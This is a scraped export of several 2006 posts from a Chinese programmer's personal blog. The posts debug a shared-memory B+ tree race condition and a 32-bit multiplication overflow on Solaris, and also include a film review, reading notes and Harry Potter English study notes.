(7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/10/12/bitter-taste-from-cayenne/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"吃了辣椒的苦头"},{"content":"经过中国各大计算机图书出版社的多年的努力，国内渐渐进入无’新书’可读的状态，记得前些年各种以前外国出版的经典书籍纷纷进入国内，让像我这样的读者们着实过了把瘾。从今年7月份以来就基本上在市面上找不到能吸引我的计算机书籍了。\n无’新书’可读，不代表无’书’可读，至少还可以温故而知新吗:)，我的书架上还有一些买来许久仍然仅仅停留在序言阶段或者第一、二章的书。前不久在某学院出差时恰逢大四学生毕业，让我以’极低’的价格淘来一本’保罗.萨缪艾尔’的’macroeconomic’，说实话，自己对经济领域的东西一窍不通，但是爱看书的我早已萌生了学学经济学的想法，记得有一期’程序员’杂志曾经转载过一篇老外的文章，他就建议在校的大学生都要学习学习经济学，当时他仅仅提到’microeconomic’。至于为什么要了解一些经济学常识，大家都亲身体会过生活必需品涨价，汽油涨价以及高高在上的房价给我们带来的痛苦，但是很多人都不明白其中的缘由，我是这样想的：了解一些基础的经济学常识，也许能想通一些，更好的指导自己的生活。不过那么厚厚一本书，也真需要一段时间才能览完，想法是好的，不知道能不能坚持下去:)。\n纵观目前的计算机图书市场，真正能让我动心的且未出版的书，我一时还真想不起来有几本。随着年龄的增长，经验的丰富，自己的读书圈也会越来越窄，毕竟大部分市场上的书都是趋平庸的，也许目前仅仅能从一些老的经典的书中才能挖掘些有价值的知识吧。\n期待着好书降临。\n","permalink":"https://tonybai.com/2006/10/10/no-new-book-to-read/","summary":"\u003cp\u003e经过中国各大计算机图书出版社的多年的努力，国内渐渐进入无’新书’可读的状态，记得前些年各种以前外国出版的经典书籍纷纷进入国内，让像我这样的读者们着实过了把瘾。从今年7月份以来就基本上在市面上找不到能吸引我的计算机书籍了。\u003c/p\u003e","title":"无'新书'可读"},{"content":"冯导的第一部武侠片上映许久了，本想去电影院捧捧场，但是听闻其在群众间反响并不是甚好，觉得不值，这不昨天在我的本本上将之看完。\n的确又是老班子，老套路，毫无新意。谭盾+袁和平+章子怡+冯小刚/张艺谋+竹林戏+…+铺天盖地的广告=估计让投资商满意的票房，这样的片子如果能入围并摘取Oscar奖那真将是世界电影的倒退。剧情简单不说，连台词也少的可怜，而且时而仿古，时而仿今，不伦不类。\n与前几部同类戏相比，这部更加无聊，在看的过程中都快要睡着了。回想起以前冯导的’甲方乙方’，’没完没了’等脍炙人口的经典佳作，这部’夜宴’简直就是一流俗之作，是那种让人看了一遍便再也不想看第二遍的电影。真是庆幸自己没去电影院看，这种滥电影居然要价40块，40块干什么不好。\n说来说去，估计还是钱的问题，一切向着票房看，在’后卧虎藏龙’时代还是能疯狂的赚上一笔的，冯导也是人，给钱谁不要。下一个就是张导的’黄金甲’了，不报太大期望。等着瞧吧。\n","permalink":"https://tonybai.com/2006/09/30/worse-film-the-banquet/","summary":"\u003cp\u003e冯导的第一部武侠片上映许久了，本想去电影院捧捧场，但是听闻其在群众间反响并不是甚好，觉得不值，这不昨天在我的本本上将之看完。\u003c/p\u003e\n\u003cp\u003e的确又是老班子，老套路，毫无新意。谭盾+袁和平+章子怡+冯小刚/张艺谋+竹林戏+…+铺天盖地的广告=估计让投资商满意的票房，这样的片子如果能入围并摘取Oscar奖那真将是世界电影的倒退。剧情简单不说，连台词也少的可怜，而且时而仿古，时而仿今，不伦不类。\u003c/p\u003e","title":"令人昏昏欲睡的'夜宴'"},{"content":"今天部门的一个同事很痛苦的向我求助。问题是关于一个新功能的测试，如果是一般的功能也就罢了，关键是这个功能是基于我曾做过的一个框架的，而这位同事由于是临时被指派的工作，对我的那个东西完全不熟悉。\n问题就在这，当时写那个框架的时候目标就是为了部门内部其他项目的高度复用，也就是说其他项目如果有类似需求，使用我们的框架经过一系列配置就可以满足需求，至多需要一个简单的二次开发过程，可能需要提供若干业务相关的接口实现，编译到动态共享库中，把该库的名字和位置写到配置中即可。\n这个框架的确消除了很多复杂的且易在各个项目中重复分布的功能，在部门的几个项目中都有使用；而且当初为了使框架更加通用，更加利于二次开发，我们采用了很多外部配置的方式，并且首次在C组采用xml的配置文件，毕竟xml的表达能力要比单纯的key = value型配置文件强大许多，可读性也更好，当初的目标毕竟是理想的。\n实际的情况是，这些为了通用型留出的配置接口在实践中用的很少，但是其他第一次接触该框架的维护人员在了解它的时候又恰恰被过多的配置弄得晕头转向，无奈之下就来问我。复杂性由如何开发这些功能，到如何使用理解我的框架了。复杂性转移了。这也让我想起了最近看的关于J2EE中关于EJB的一些言论了。当初Sun在提出J2EE规范的时候更多的是考虑如何屏蔽掉分布式应用的复杂性，让开发人员不用关心分布式技术难点，结果导致最初的EJB只有Remote接口；而在实际应用中大部分Web应用都是部署在Single Machine Sing JVM上的，而Remote接口反倒降低了J2EE服务器的性能，这也许和复杂性关系还不是很大。继续说EJB，到后来开发人员发现要想开发出好的符合J2EE精神的应用，还是要去了解分布式协议的，这就大大提高了EJB的使用门槛，使大部门人望而却步。其实到后来的框架时代我觉得也是一样，框架的出现，一来可以让大家避免使用EJB的痛苦，开发出without EJB的应用，但是同时大家却都忘记了框架本身的复杂性了。试想要开发出好的Web应用，如果不对框架本身有所了解可能吗？特别是框架本身蕴含的各种设计思想，这也充分证明了复杂性的’此起彼伏’的特点。\n下面的问题就是：复杂性没有消失，为什么大家还在用呢？目前软件业都在努力作着这些事情，即尽量让开发人员只关心问题域，业务域。无论是EJB还是各种轻量级容器框架的出现都是在努力向着这个方向前进，毕竟你在走向成功的道路上无需再reinvent the wheel了，虽然了解wheel的过程仍然复杂，仍然坎坷，但是照比以前也要好上很多了。\n想到哪，说到哪，有些’语无伦次’，不知道大家能不能理解其中的意思。:)\n","permalink":"https://tonybai.com/2006/09/12/the-complexity-rise-one-after-another/","summary":"\u003cp\u003e今天部门的一个同事很痛苦的向我求助。问题是关于一个新功能的测试，如果是一般的功能也就罢了，关键是这个功能是基于我曾做过的一个框架的，而这位同事由于是临时被指派的工作，对我的那个东西完全不熟悉。\u003c/p\u003e","title":"'此起彼伏'的复杂性"},{"content":"最近自己曾经辛苦耕耘过的两个项目同时上线，相关问题也就逐渐暴露出来。工作这两年多时间以后，使我有这样感觉：’测试永远都是不完备的’，有些问题只能在商用过程中发现，呵呵，明确一点啊我不是搞测试的:)\n在解决问题过程中的感悟往往是最深刻的，解决问题的过程往往真的像是警察在侦破案件，往往一点点罪犯留下的蛛丝马迹就会让神探们找到线索，并迅速破案。\n最近两天一直在一个bug上煎熬着，终于于昨天发现蛛丝马迹并醒悟过来，很有意思的一个bug，和大家一起来分享一下。\n这周三我们组的一个同事在现网商用运行的系统上发现我们的程序出现了一个core，对于unix后台服务程序来说，出core是一件很严重的事情，而这个core也直接导致了进程的死锁，消息的积压。\n通过gdb调试core发现，问题出在遍历一棵放在共享内存中的B+树，从B+树中取出的地址是一个无效地址，所以当使用memcpy拷贝这个地址上的数据时core出现了。\n说到这不能不提及一些背景资料了，在开发这个项目的时候，我们在实现业务需求的时候发现需要部门B+树操作库提供一个完备的遍历接口，可是却发现已有的B+树接口并不提供遍历功能，这显然是库接口的不完备造成的，大家都知道树的遍历是一个特别常见的功能。我们决定对该库进行扩充，添加一个遍历接口；不过，我们在添加接口的时候发现，库内部提供一个叫get_next_key的内部接口，但是该接口的问题在于它返回的下一个key并不是总存储有效数据的。按我们的正常逻辑，如果我们提供一个get_next_key，如果遍历到最后一个有效节点后再继续遍历，则应该返回NOT_FOUND之类的返回值，而这个库中的get_next_key仍然给你返回一个空闲节点，而这个节点中的数据是随机值。了解到这种情况，考虑到时间原因，我定义了一个xx_get_next_key的外部接口，在这个接口实现中我仍然选择使用get_next_key来辅助工作，并且在xx_get_next_key的接口说明中解释到需要业务层控制调用xx_get_next_key的次数。\n比如说如果目前B+树中有100个有效节点，那么我调用100次xx_get_next_key均会返回有效节点，如果再100次后继续调用该接口，返回的可能就是非有效数据了。\n这样在业务层，我写下了如下代码：\nint get_default_xx_info(…) {\nint total = 0;\nint i = 0;\nxx_get_bptree_msgc(\u0026amp;total);\nfor (i =0 ; i \u0026lt; total; i++) {\n调用xx_get_next_key遍历B+树；\n}\n}\n就是这样的代码在系统运行很长时间后出问题了，通过gdb跟踪到xx_get_next_key的内部实现中，最开始我怀疑是不是对以前的B+树操作库不熟悉，代码调用的不对，后经确认，xx_get_bptree_msgc的实现代码无误。而咋一眼看上去业务层的逻辑也没有问题亚。在查了一个下午之后，仍然没有结果。第二天继续，结合日志和GDB跟踪输出，发现这样的一个很奇怪的现象，而且在我们的分布式系统的两台机器上现象是一致的。\n通过日志看出，在调用get_default_xx_info之前，日志打印出来当前B+树中有12610个有效数据节点；而通过GDB跟踪栈上信息，发现B+树中的有效节点是12609个。也就是说我们通过xx_get_bptree_msgc调用得到total值是12610个，而在多次调用xx_get_next_key的间隙时间里，B+树中的节点被其他进程删除了，前面我们提到过我们的B+树是进程间共享的。这样的话，xx_get_next_key使用的约束条件被破坏了，发生了多一次的调用，问题应该就在这。的确，在xx_get_next_key内部执行时是有写锁保证其他进程不会对B+树进行修改的，但是当xx_get_next_key结束一次执行，释放锁资源后，阻塞在该锁上的其他进程对B+树的操作很有可能就发生了，也就是说我们没有保证整个完整遍历过程的事务性。真相大白了。修改也容易了，但是由于库接口的不完备性，使得修改后的逻辑看起来也很别扭，业务层和底层库有交叉了。\n","permalink":"https://tonybai.com/2006/09/09/hidden-danger-introduced-by-uncompleted-interface/","summary":"\u003cp\u003e最近自己曾经辛苦耕耘过的两个项目同时上线，相关问题也就逐渐暴露出来。工作这两年多时间以后，使我有这样感觉：’测试永远都是不完备的’，有些问题只能在商用过程中发现，呵呵，明确一点啊我不是搞测试的:)\u003c/p\u003e","title":"不完备库接口带来的隐患"},{"content":"Our British English teacher Alex recommended a book called ‘Manna’ to us for its simple grammar and vocabulary. After reading it, we all agreed on that it was an extremely attractive fiction.\nThe author of ‘Manna’ is Marshall Brain, who is a writer, a well-known national speaker and a consultant in U.S. In his fiction, he tells us his point of view on robots’ coming out in near future. It seems to be a science fiction, maybe a political fiction, who knows, because almost any book could be associated with politics.\nThe following is the link of this fiction:\nManna by Marshall Brain\nIf you have your own options after reading the book, I am looking forward to talking with you about that.\n","permalink":"https://tonybai.com/2006/09/07/manna-an-extremely-attractive-fiction/","summary":"\u003cp\u003eOur British English teacher Alex recommended a book called ‘Manna’ to us for its simple grammar and vocabulary. After reading it, we all agreed on that it was an extremely attractive fiction.\u003c/p\u003e\n\u003cp\u003eThe author of ‘Manna’ is \u003ca href=\"http://www.marshallbrain.com/\"\u003eMarshall Brain\u003c/a\u003e, who is a writer, a well-known national speaker and a consultant in U.S. In his fiction, he tells us his point of view on robots’ coming out in near future. It seems to be a science fiction, maybe a political fiction, who knows, because almost any book could be associated with politics.\u003c/p\u003e","title":"'Manna' – An extremely attractive fiction"},{"content":"这几天以前曾经做过的一个项目上线测试了，果不其然，没有经过’战争洗礼’的产品就是靠不住，这不出了若干问题。害得我逃了半天课远程支持。\n其中的一个问题很值得思考。其所在的模块并非是一个核心功能模块，而是一个提高系统Availability的一个功能模块，主要功能就是监视磁盘占用率。我们通过配置给出允许使用的磁盘空间大小(以M Byte为单位)，以及两个阈值，即当占用率达到多少的时候，Do A；达到多少的时候Do B。\n我们假设用变量quota代表配置中读取的配额数值，而total代表实际检测到的占用数值，一般关于文件大小的系统调用都是用byte作为单位的，也就是说我们需要做一个转换，假设换算后的变量为quota1。由于最初我们没有考虑周全的原因，我们使用unsigned int作为quota、quota1和total的存储类型。结果在家里没有做过认真的测试，导致一到现场就’露馅’了。这个问题反应到家里后，一个同事发现了这一问题，并作了修改，经过简单的测试，好像表面上问题消失了。再一次提交到现场后，问题依旧。\n由于那位同事还有其他工作，我只能逃课改问题，经过一段时间的代码Review终于发现了些许’蛛丝马迹’，简单表述一下，原来这里的代码是这样的：\n计算total;\nquota1 = quota * 1024 * 1024;\n拿total和quota1之比与配额阈值作比较;\n注意这里的total和quota1是unsigned long long，也就是64位的，而quota是unsigned int，即32位的。首先quota肯定不会出现溢出的可能，因为检查配置发现这个数不大。那么为什么从日志观察，quota1有问题呢？\n比如我们的quota配置为1004800，那么在换算后正确的数值应该是053609164800，而日志中打印出来的结果却是1342177280。基本上可以肯定问题出在quota1 = quota * 1024 * 1024;这个转换式上。\n我们大概可以用下面的程序来模拟一下这个问题：\nint main() {\nlong m = 1004800;\nunsigned long long n;\nn = m * 1024 * 1024;\nprintf(\u0026quot;%llu\\n\u0026quot;, n);\n}\n由于n = m * 1024 * 1024这个计算式的工作流程是这样的，先将m * 1024 * 1024的结果保存在一个临时变量中，然后再将这个临时变量值赋给n，这里是在Solaris9下利用GDB反汇编的结果：\n(gdb) disas main\nDump of assembler code for function main:\n0x0001066c \u0026lt;main+0\u0026gt;: save %sp, -128, %sp\n0×00010670 \u0026lt;main+4\u0026gt;: sethi %hi(0xf5400), %o0\n0×00010674 \u0026lt;main+8\u0026gt;: or %o0, 0×100, %o0 ! 0xf5500\n0×00010678 \u0026lt;main+12\u0026gt;: st %o0, [ %fp + -20 ]\n0x0001067c \u0026lt;main+16\u0026gt;: ld [ %fp + -20 ], %o0\n0×00010680 \u0026lt;main+20\u0026gt;: sll %o0, 0×14, %o0\n0×00010684 \u0026lt;main+24\u0026gt;: st %o0, [ %fp + -28 ]\n0×00010688 \u0026lt;main+28\u0026gt;: sra %o0, 0x1f, %o0\n0x0001068c \u0026lt;main+32\u0026gt;: st %o0, [ %fp + -32 ]\n0×00010690 \u0026lt;main+36\u0026gt;: sethi %hi(0×10400), %o0\n0×00010694 \u0026lt;main+40\u0026gt;: or %o0, 0×358, %o0 ! 0×10758 \u0026lt;_lib_version+8\u0026gt;\n0×00010698 \u0026lt;main+44\u0026gt;: ld [ %fp + -32 ], %o1\n0x0001069c \u0026lt;main+48\u0026gt;: ld [ %fp + -28 ], %o2\n0x000106a0 \u0026lt;main+52\u0026gt;: call 0×20800 0x000106a4 \u0026lt;main+56\u0026gt;: nop\n0x000106a8 \u0026lt;main+60\u0026gt;: mov %o0, %i0\n0x000106ac \u0026lt;main+64\u0026gt;: nop\n0x000106b0 \u0026lt;main+68\u0026gt;: ret\n0x000106b4 \u0026lt;main+72\u0026gt;: restore\n%o0 = 0xf5500 = 1004800\nstore %o0 -\u0026gt; fp + -20\n大概看一下：\n0×00010670 \u0026lt;main+4\u0026gt;: sethi %hi(0xf5400), %o0\n0×00010674 \u0026lt;main+8\u0026gt;: or %o0, 0×100, %o0 ! 0xf5500\n0×00010678 \u0026lt;main+12\u0026gt;: st %o0, [ %fp + -20 ]\n这三句实际上是在栈上分配一个变量m，并赋值为1004800，这里编译器利用sethi %hi(0xf5400), %o0和or %o0, 0×100, %o0两句在寄存器%o0中构造出1004800(即0xf5500)，然后将寄存器的值通过st指令写入到%fp – 20的位置。即m占据着从%fp – 17到%fp – 20这四个字节。\n再往下\nsll %o0, 0×14, %o0，\nst %o0, [ %fp + -28 ]\n这里是编译器做的优化，它没有乘以两次1024，而是直接乘以1024*1024的结果，也就是2^20，即将%o0逻辑左移20位，即逻辑左移0×14，我们知道逻辑左移即把操作数看成无符号数。对寄存器操作数进行移位，不管左右移，空出的位均补0，我们可以来手工逻辑左移一次，目前%o0中存储的是无符号数0xf5500, 即 0000 0000 0000 1111 0101 0101 0000 0000(B)，我们逻辑左移20位后为0101 0000 0000 0000 0000 0000 0000 0000(B), 即0×50000000，即1342177280。之后利用st指令将改寄存器的值存入到%fp – 28开始的8个字节当中(即从%fp – 21到%fp – 28)。这样我们读出来的n值也就是1342177280了。\n如何修正呢？看下面的例子：\nint main() {\nlong m = 1004800;\nunsigned long long n = m;\nn *= 1024 * 1024;\nprintf(\u0026quot;%llu\\n\u0026quot;, n);\n}\n(gdb) disas main\nDump of assembler code for function main:\n0x0001066c \u0026lt;main+0\u0026gt;: save %sp, -128, %sp\n0×00010670 \u0026lt;main+4\u0026gt;: sethi %hi(0xf5400), %o0\n0×00010674 \u0026lt;main+8\u0026gt;: or %o0, 0×100, %o0 ! 0xf5500\n0×00010678 \u0026lt;main+12\u0026gt;: st %o0, [ %fp + -20 ]\n0x0001067c \u0026lt;main+16\u0026gt;: ld [ %fp + -20 ], %o0\n0×00010680 \u0026lt;main+20\u0026gt;: st %o0, [ %fp + -28 ]\n0×00010684 \u0026lt;main+24\u0026gt;: sra %o0, 0x1f, %o0\n0×00010688 \u0026lt;main+28\u0026gt;: st %o0, [ %fp + -32 ]\n0x0001068c \u0026lt;main+32\u0026gt;: ldd [ %fp + -32 ], %o0\n0×00010690 \u0026lt;main+36\u0026gt;: mov %o0, %o2\n0×00010694 \u0026lt;main+40\u0026gt;: mov %o1, %o3\n0×00010698 \u0026lt;main+44\u0026gt;: srl %o3, 0xc, %o5\n0x0001069c \u0026lt;main+48\u0026gt;: sll %o2, 0×14, %o4\n0x000106a0 \u0026lt;main+52\u0026gt;: or %o5, %o4, %o0\n0x000106a4 \u0026lt;main+56\u0026gt;: sll %o3, 0×14, %o1\n0x000106a8 \u0026lt;main+60\u0026gt;: std %o0, [ %fp + -32 ]\n0x000106ac \u0026lt;main+64\u0026gt;: sethi %hi(0×10400), %o0\n0x000106b0 \u0026lt;main+68\u0026gt;: or %o0, 0×378, %o0 ! 0×10778 \u0026lt;_lib_version+8\u0026gt;\n0x000106b4 \u0026lt;main+72\u0026gt;: ld [ %fp + -32 ], %o1\n0x000106b8 \u0026lt;main+76\u0026gt;: ld [ %fp + -28 ], %o2\n0x000106bc \u0026lt;main+80\u0026gt;: call 0×20820 0x000106c0 \u0026lt;main+84\u0026gt;: nop\n0x000106c4 \u0026lt;main+88\u0026gt;: mov %o0, %i0\n0x000106c8 \u0026lt;main+92\u0026gt;: nop\n0x000106cc \u0026lt;main+96\u0026gt;: ret\n0x000106d0 \u0026lt;main+100\u0026gt;: restore\n和上面的汇编差不多少，主要的差别就是再st %o0, [ %fp + -28 ]后，所有的操作均针对8位的m了，而且寄存器也不仅仅一个%o0参与(位数不够了)，这句之后都是关于8字节的运算了。也就不存在溢出了。毕竟汇编细节看起来还是很费劲的，大家能明白其中的意思即可。\n其实简单来看我们可以这么来理解：\nn = m * 1024 * 1024;\nn *= 1024 * 1024;\n前一个式子可以看成 m’ = m * 1024 * 1024; n = m’；这样我们可以简单的认为m’这个中间变量和m存储空间一致。\n而n *= 1024 * 1024 \u0026lt;=\u0026gt; n *= 1048576 \u0026lt;=\u0026gt; n = n * 1048576，都是在n的基础上操作，不会出现溢出问题。\n溢出问题一般都很隐蔽，很难轻易发现，大家要格外注意。\n","permalink":"https://tonybai.com/2006/09/06/be-careful-of-the-trap-of-overflow/","summary":"\u003cp\u003e这几天以前曾经做过的一个项目上线测试了，果不其然，没有经过’战争洗礼’的产品就是靠不住，这不出了若干问题。害得我逃了半天课远程支持。\u003c/p\u003e\n\u003cp\u003e其中的一个问题很值得思考。其所在的模块并非是一个核心功能模块，而是一个提高系统Availability的一个功能模块，主要功能就是监视磁盘占用率。我们通过配置给出允许使用的磁盘空间大小(以M Byte为单位)，以及两个阈值，即当占用率达到多少的时候，Do A；达到多少的时候Do B。\u003c/p\u003e","title":"小心'溢出'陷阱"},{"content":"刚刚看了云风的’编程的门槛‘一文，和他相比我接触计算机的时间则显得少得可怜。\n记得第一次接触计算机是在初中二年级，一张软盘启动计算机的年代，WPS、五笔字型盛行的年代，那时我的理解计算机除了能打字之外，唯一能干的就是玩游戏-超级玛丽-一张软盘足以。那时渐渐的失去了对计算机的兴趣，五笔字型输入法也没学会，除了最简单的一级简码:)。\n进入高中后，也有计算机课，老师用一个学期的时间讲BASIC语言，不知道是老师水平的问题，还是自己足够笨，一个学期下来，自己对计算机仍旧停留在游戏和打字，这回游戏又多了一种足球，一种射门游戏。另外就是见到了windows3.1，那时我认为它就是一种在DOS下启动的程序，不过是图形界面罢了，可以利用上一种新型的设备-鼠标了，但是这个程序很不稳定，总是玩玩就’不理你了’，除了按下电源开关，你别无选择。\n到了高三的时候，网络开始盛行，网吧如’雨后春笋’般从大街小巷的各个角落冒出，很多同学晚上都出去’包宿’，我从未去过，我也不知道他们出去做什么，后来听说有网吧里有’红警’、’三角洲’，可以在’聊天室’里和你不认识的人特别是mm聊天，还有一种聊天工具叫OICQ很是火爆。就这样直到大一我GF让我去网吧到聊天室和她聊天，我才真正开始接触网络。记得第一次去网吧，老板让我选一台机器就可以上网了。我坐在机器前按照GF的指示，在IE地址栏中输入聊天室地址，然后我居然不知道下一步该做什么？无可奈何之下只好问网吧老板，老板用惊异的眼神儿看着我，很不情愿的说了一声：按一下回车就行了。至今这件事情还是让我牢记于心的。\n自从有了这次经历，我开始学习上网和利用网上资源了，并且了解到在学校里面有更便宜的实验室可以上网，0.5元一分钟，很便宜吧，而且实验室有软驱，可以拷数据。再后来，也开始和寝室哥们一起出去’包宿’，记得大学第一学期的那个元旦之夜，我们就是在网吧过的，上网上累了，就玩玩游戏，玩累了，就趴在电脑桌上睡上一觉。\n大一下学期，我们寝室终于决定一起’投资’买一台电脑了，我们的第一台电脑共用了近7000块。从此算是顺利过上有电脑的日子了。\n","permalink":"https://tonybai.com/2006/09/01/somethings-about-using-computer-at-first/","summary":"\u003cp\u003e刚刚看了云风的’\u003ca href=\"http://blog.codingnow.com/2006/08/aiaea.html#more\"\u003e编程的门槛\u003c/a\u003e‘一文，和他相比我接触计算机的时间则显得少得可怜。\u003c/p\u003e\n\u003cp\u003e记得第一次接触计算机是在初中二年级，一张软盘启动计算机的年代，WPS、五笔字型盛行的年代，那时我的理解计算机除了能打字之外，唯一能干的就是玩游戏-超级玛丽-一张软盘足以。那时渐渐的失去了对计算机的兴趣，五笔字型输入法也没学会，除了最简单的一级简码:)。\u003c/p\u003e","title":"最初接触计算机的两三事"},{"content":" 八月 12, 2006 Yesterday evening I went to a bookstore chain. What made me feel disappointed was that I couldn\u0026rsquo;t find the original edition of Harry Potter series books. I have been reading an electronic edition book of Harry Potter on the computer these days and it often made me feel tired. I prefer paper edition books to electronic books when reading some kinds of novels or technical works. Now a paper edition of books is more and more expensive. I heard that the tag price of the original edition of the Harry Potter series is up to 100 RMB and I think only a few people can afford it.\nThe film Garfield 2 has released across China. I am a fan of cartoon. I like the Garfield series film but not much. I have seen Garfield 1 before and it fits kids well in my opinion. I am going to download or buy a DVD of the Garfield2 instead of seeing it in the cinema. By the way I like science fiction movies most because they make me imaginative.\n","permalink":"https://tonybai.com/2006/08/12/books-and-films/","summary":"\u003cul\u003e\n\u003cli\u003e八月 12, 2006\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYesterday evening I went to a bookstore chain. What made me feel disappointed was that I couldn\u0026rsquo;t find the original edition of Harry Potter series books. I have been reading an electronic edition book of Harry Potter on the computer these days and it often made me feel tired. I prefer paper edition books to electronic books when reading some kinds of novels or technical works. Now a paper edition of books is more and more expensive. I heard that the tag price of the original edition of the Harry Potter series is up to 100 RMB and I think only a few people can afford it.\u003c/p\u003e","title":"Books And Films"},{"content":"CHAPTER TWO – THE VANISHING GLASS\n1．The photographs showed a large blond boy riding his first bicycle, on a carousel at the fair, playing a computer game with his father, being hugged and kissed by his mother. The room held no sign at all that another boy lived in the house, too.\nCarousel -喧闹的酒会\nFair – 展览会\nThe room held no sign at all that another boy lived in the house. 没有任何迹象显示有另一个男孩儿也住在这个屋子里。\n2．\u0026ldquo;Are you up yet?\u0026rdquo; she demanded.\n\u0026ldquo;Nearly,\u0026rdquo; said Harry.\n\u0026ldquo;Well, get a move on, I want you to look after the bacon. And don\u0026rsquo;t you dare let it burn, I want everything perfect on Duddy\u0026rsquo;s birthday.\u0026rdquo;\nHarry groaned.\n\u0026ldquo;What did you say?\u0026rdquo; his aunt snapped through the door.\n\u0026ldquo;Nothing, nothing…\u0026rdquo;\n从这段对话来看Harry的境况并不是很好哟。\nDo you dare do something?\nGroan -呻吟着说, 叹息\n3．Harry was used to spiders, because the cupboard under the stairs was full of them, and that was where he slept.\nBe used to … 常用的一种表达方式，习惯于…\nUsed (adj) -习惯的\nThe astronauts soon got used to the condition of weightlessness.\nI am used to the weather here.\nYou must get used to getting up early.\n4、The table was almost hidden beneath all Dudley\u0026rsquo;s birthday presents.\n表达如此到位，佩服佩服。\n5．Exactly why Dudley wanted a racing bike was a mystery to Harry, as Dudley was very fat and hated exercise — unless of course it involved punching somebody. Dudley\u0026rsquo;s favorite punching bag was Harry, but he couldn\u0026rsquo;t often catch him.\nPunch sb – 用拳猛击猛击\n6．Harry had a thin face, knobbly knees, black hair, and bright green eyes. He wore round glasses held together with a lot of Scotch tape because of all the times Dudley had punched him on the nose. The only thing Harry liked about his own appearance was a very thin scar on his forehead that was shaped like a bolt of lightning.\n这是一段关于Harry长相的描写，通过这段描写我们可以在脑中为Harry画出一幅肖像。\nScar – 伤疤\n7．It was a very sunny Saturday and the zoo was crowded with families.\n你写日记时可以常用的一句表达方式。\n8．Everybody knew that Dudley\u0026rsquo;s gang hated that odd Harry Potter in his baggy old clothes and broken glasses, and nobody liked to disagree with Dudley\u0026rsquo;s gang.\nGang –(一)伙, (一)群, 帮派\na gang of criminals\na gang of young men\nCHAPTER THREE – THE LETTERS FROM NO ONE\n1．The escape of the Brazilian boa constrictor earned Harry his longest-ever punishment.\nBoa Constrictor – 大蟒，两个单词都有蟒蛇的意思，但是就把他们连在一起表示蟒蛇的意思。\n2．This was why Harry spent as much time as possible out of the house, wandering around and thinking about the end of the holidays, where he could see a tiny ray of hope.\nThat is why + 正常语序；\nA tiny ray of hope 一丝希望\n3．As he looked at Dudley in his new knickerbockers, Uncle Vernon said gruffly that it was the proudest moment of his life.\nAunt Petunia burst into tears and said she couldn\u0026rsquo;t believe it was her Ickle Dudleykins, he looked so handsome and grown-up.\nAs – At the same time that; while 在本小说中有很多as引导的时间状语从句。\nGruffly – 粗暴地\nThe proudest moment – 最骄傲的时刻\nBurst into tears – 可以理解为喜极而泣\n4．They heard the click of the mail slot and flop of letters on the doormat.\n与信函有关的几个声音，\nThe click of mail slot 将信放入信箱的声音\nFlop of letters 信件落在地上的声音\nDoormat – (放于门前的)擦鞋垫\n5．Harry was on the point of unfolding 